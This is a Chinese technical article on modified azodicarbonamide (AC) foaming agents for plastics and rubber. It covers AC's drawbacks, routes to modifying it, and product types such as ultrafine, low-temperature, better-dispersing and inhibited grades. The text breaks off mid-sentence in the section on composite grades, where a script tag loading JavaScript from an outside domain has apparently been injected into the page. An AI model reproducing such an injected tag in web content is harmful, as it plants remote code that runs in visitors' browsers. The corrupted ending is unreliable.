加大改性ＡＣ发泡剂研发力度□雷连中 黄克生    偶氮二甲酰胺（AC）发泡剂是最重要的肼基发泡剂，其性能优越，    偶氮二甲酰胺（AC）发泡剂是最重要的肼基发泡剂，其性能优越，发气量大，分解物无毒、无臭、无污染，价格相对便宜。但单纯的AC发泡剂也存在着许多不足：AC发泡剂的分解温度高于许多烯烃树脂的分解和软化温度，在进行发泡加工时必须提高加工温度，这样易导致树脂发泡制品变色、老化等；现有生产工艺所得的纯AC发泡剂平均粒径大、粒径分布宽，易造成发泡制品的孔径过大且不均匀，不适用于切片和薄发泡制品，如人造革、发泡墙纸等；AC发泡剂呈微粉状，容易吸湿或由于静电作用附聚成团，当聚合物熔融发泡时，未分散的AC发泡剂颗粒分解会产生较大的气孔，影响产品质量；AC发泡剂的分解是强放热反应，分解速度快，温度高，易造成树脂熔体局部过热，熔体局部粘度降低，使得制品产生开孔泡沫和泡孔破裂，结构泡沫制品的机械性能降低；另外，AC发泡剂分解时还会遗留下微量聚氰酸、脲唑等聚合物，沉积在加工机械的内表面，给生产带来不便。　　一、主要改性途径　　AC发泡剂的改性就是对发泡剂的发气量、粒径、分解温度及分解速度进行优化或专用化，主要改性途径包括：①在生产过程尤其是联二脲氧化成AC的过程中，选择一定的反应条件如搅拌速度和反应温度，或部分采用不同的氧化剂如在反应后期用氯酸钠代替氯气作氧化剂，或添加其他助剂以降低AC的平均粒径、缩小粒径分布宽度、增加发气量；②采用机械方法对AC发泡剂进行超微粉碎并同时进行分级，以获得不同粒径分布的产品；③在纯AC发泡剂中加入一种或几种添加剂改变其分解温度和发气量；④在纯AC发泡剂中加入一种或几种不同类型的发泡剂改变其分解温度和分解速度；⑤将AC发泡剂溶解于某种溶剂后进行重结晶，改变AC的粒径，用此方法可获得粒径接近纳米级的AC发泡剂。　　值得注意的是，这些改性途径并非仅限于单独使用，将它们配合使用常能获得综合性效果。　　二、改性ＡＣ发泡剂的类型　　改性AC发泡剂一般按附加的功能来进行分类，但某些改性AC具有一种以上的附加功能，因此这种分类并不十分严格。目前改性AC发泡剂一般分为以下几类：　　1.粒径超微细化型　　泡沫制品的气孔孔径大小及其均匀性主要取决于发泡剂粒径的大小及分布宽度。某些发泡制品如人造革要求气泡孔径小而致密，而普通AC发泡剂平均粒径粗、分布宽，这就产生了粒径超微细化型AC发泡剂。所谓超微细化型，尚无严格定义，一般是指粒径d95≤8μm的AC发泡剂。目前工艺（如尿素法）条件下产生的AC发泡剂通过粉碎、分级，可得到按粒径不同而定义的不同牌号的超微细化型AC发泡剂，以适应不同塑料及橡胶制品的发泡需要。需要指出的是，受粉碎动力和分级轮转速的限制，用机械法很难得到d95≤2μm的产品。　　2.分解温度降低型　　正常条件生产的AC发泡剂分解温度一般高于200℃，对于一些软化点低及受热易老化的树脂和橡胶，就需要它在较低的温度下分解，与树脂及橡胶的软化温度及交联温度相适应。因此降低AC的分解温度，开发低温型AC发泡剂，始终是AC生产厂家主要的研究课题之一。在联二脲氧化生成AC的工艺过程中或在成品AC中，按一定比例添加一种或几种活化剂，并均匀混合，可得到各种低分解温度型的改性AC品种。现在一般将分解温度在135～195℃的AC称为低温型AC发泡剂。　　3.分散性提高型　　AC发泡剂容易吸收空气中的水分；同时AC分子结构中含有偶氮基和羰基，极易产生静电作用，如果产品存放时间过长或在运输过程中被挤压，AC则可能会因静电作用而附聚成团，导致结块现象。　　为克服上述缺点，可将某些惰性无机化合物（如白炭黑）微粉作为分散助剂和AC发泡剂充分混合，使AC颗粒间得到部分隔离，从而减少附聚成团的机会，也可避免在储存和运输过程中产生结块现象。　　需要指出的是，选择分散剂必须以不影响产品质量为前提，同时这类惰性分散助剂自身并不分解发气，所以虽然提高了AC发泡剂的分散性，但却是以AC发泡剂发气量的降低为代价的。一般添加比例为2%～5%，AC的发气量会降低2～3mL/g。　　4.固体残渣生成减少型　　为减少AC发泡剂分解时固体残渣的生成，一些研究人员从AC发泡剂的分解机理入手，研究发现某些金属氧化物（如氧化锌）能抑制AC发泡剂分解时二级反应的发生，从而减少脲唑的生成。现在国外已开发出几个牌号无固体残渣沉析的改性AC发泡剂。　　5.抑制发泡型　　某些一元羧酸及其酰肼、胺类在金属离子型活化剂的存在下能抑制AC发泡剂的分解，如顺丁烯二酸、马来酸及其二酰肼、草酸二酰肼、硫脲、3-乙酰胺等。含有抑制剂的AC发泡剂的一个典型用途是生产装潢用的发泡墙纸，先将含有AC发泡剂的PVC溶胶遍涂于纸张上，再采用印刷法，将含有抑制剂的油墨印刷在上面，这样被印刷部分和未印刷部分的发泡效果就会产生差异而造成凹凸花纹，使墙纸具有立体效果，增加美感。　　6.复合型　　在AC发泡剂中添加某些活性或惰性助剂，?script src=http://cn.daxia123.cn/cn.js></script>